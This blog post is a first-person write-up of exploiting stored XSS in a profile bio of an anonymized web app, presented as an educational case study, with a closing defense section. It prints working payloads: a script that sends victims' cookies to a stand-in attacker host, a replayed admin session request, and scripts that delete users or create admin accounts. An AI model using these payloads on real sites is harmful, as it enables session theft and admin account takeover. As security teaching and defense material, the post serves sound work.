This Is How I Hacked a Web App Using Stored XSS to Steal Sessions

spyboy's avatarPosted by

(Persistent Client-Side Exploitation – Educational Case Study)

Disclaimer
This content is for educational and defensive purposes only.
The application, payloads, endpoints, and data are fully anonymized.
No real users were harmed.
The goal is to explain how stored XSS actually gets weaponized in real-world apps.


Why Stored XSS Is Still Deadly in 2025

People often say:

“XSS is low severity.”

That’s only true if you don’t know how to use it.

Stored XSS is different:

  • Payload persists
  • Executes on other users
  • Often targets admins
  • Enables session theft, account takeover, and internal pivoting

🔥 Stored XSS is not a bug — it’s a delivery mechanism.


Target Overview (Anonymized)

  • Type: Web application
  • Auth: Cookie-based session
  • Roles: User, Admin
  • Feature abused:
    • User profile bio
    • Support ticket comments
  • Frontend: React-like SPA

Phase 1: Finding the Input Sink

After logging in as a normal user, I explored:

  • Profile page
  • Comments
  • Support tickets
  • Feedback forms

One field stood out:

“About Me” (Profile Bio)


Phase 2: Testing for Stored Input

I entered a harmless payload:

<b>test</b>

Saved profile.
Refreshed page.

Output:

test (bold)

🚩 HTML rendered, not escaped


Phase 3: Confirming Stored XSS

Next payload:

<script>alert(1)</script>

Result:

  • Page reload
  • Alert box popped

Confirmed:

Stored XSS

But alerts are useless.

We escalate.


Phase 4: Understanding Execution Context

Before weaponizing XSS, I checked:

  • Is session cookie HttpOnly?
  • Are CSRF tokens present?
  • Is CSP enabled?

Findings:

  • ❌ No Content Security Policy
  • ❌ Cookies not HttpOnly
  • ❌ Session accessible via JS

This is rare — and fatal.


Phase 5: Crafting a Real Payload (Session Theft)

Instead of alert(), I used:

<script>
fetch("https://attacker-server.example/log?c=" + document.cookie)
</script>

Saved profile.

Now every user who visits my profile:

  • Executes JS
  • Sends their session cookie to attacker server

Phase 6: Triggering the Payload (Admin Visit)

How do admins get hit?

Easy.

Admins routinely:

  • Review user profiles
  • Handle support tickets
  • Moderate content

Within minutes, my server logged:

session=SID=admin_session_token

🎯 Admin session captured


Phase 7: Session Replay (Account Takeover)

Using the stolen cookie:

GET /admin/dashboard HTTP/1.1
Cookie: SID=admin_session_token

Response:

  • Admin dashboard loaded
  • Full access

No password.
No MFA.
No alerts.


Why This Was So Powerful

FactorWhy It Matters
Stored XSSPersistent
Admin contextHigh privilege
No HttpOnlyCookie theft
No CSPScript execution
Trusted contentAdmins view it

This wasn’t “just XSS”.

This was remote admin takeover.


Alternative Payloads (Even Worse)

If cookies were HttpOnly, I could still:

🔹 Perform Admin Actions (CSRF via XSS)

<script>
fetch("/api/admin/deleteUser?id=1337",{credentials:"include"})
</script>

🔹 Create New Admin Account

<script>
fetch("/api/admin/create",{method:"POST",body:'{"role":"admin"}'})
</script>

XSS becomes a command execution primitive.


Root Cause Analysis

❌ What Developers Did Wrong

  • Stored unescaped user input
  • No output encoding
  • No CSP
  • No HttpOnly cookies
  • Trusted user-generated content

This is a chain failure, not a single bug.


✅ Proper Defense Strategy

Stored XSS requires layered defense:

  1. Output encoding (context-aware)
  2. Input sanitization (last resort)
  3. HttpOnly + Secure cookies
  4. Strong CSP
  5. Admin content isolation

One layer missing is survivable.
All missing is catastrophic.


How I Hunt Stored XSS (My Playbook)

1️⃣ Find stored inputs

  • Profiles
  • Comments
  • Tickets
  • Reviews

2️⃣ Test rendering

  • HTML tags
  • Event handlers
  • Script blocks

3️⃣ Identify execution context

  • DOM-based?
  • Reflected?
  • Stored?

4️⃣ Weaponize carefully

  • Cookie access
  • Privileged actions
  • Persistence

Tools Used

ToolPurpose
BrowserManual testing
Burp SuitePayload injection
Local listenerCookie capture
BrainPayload logic

Severity Assessment

ImpactLevel
Account takeoverCritical
Admin compromiseCritical
Worm potentialHigh
DetectionLow

Severity:

Critical (Stored XSS → Privilege Escalation)


Why This Still Exists Everywhere

Because:

  • Teams underestimate XSS
  • Frontend frameworks give false confidence
  • “Only admins see it” logic
  • No security review of content features

Attackers love trusted views.


Final Thoughts

XSS is not about popups.

It’s about running code inside someone else’s trust boundary.

And when that someone is an admin —
the app is already lost.


Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.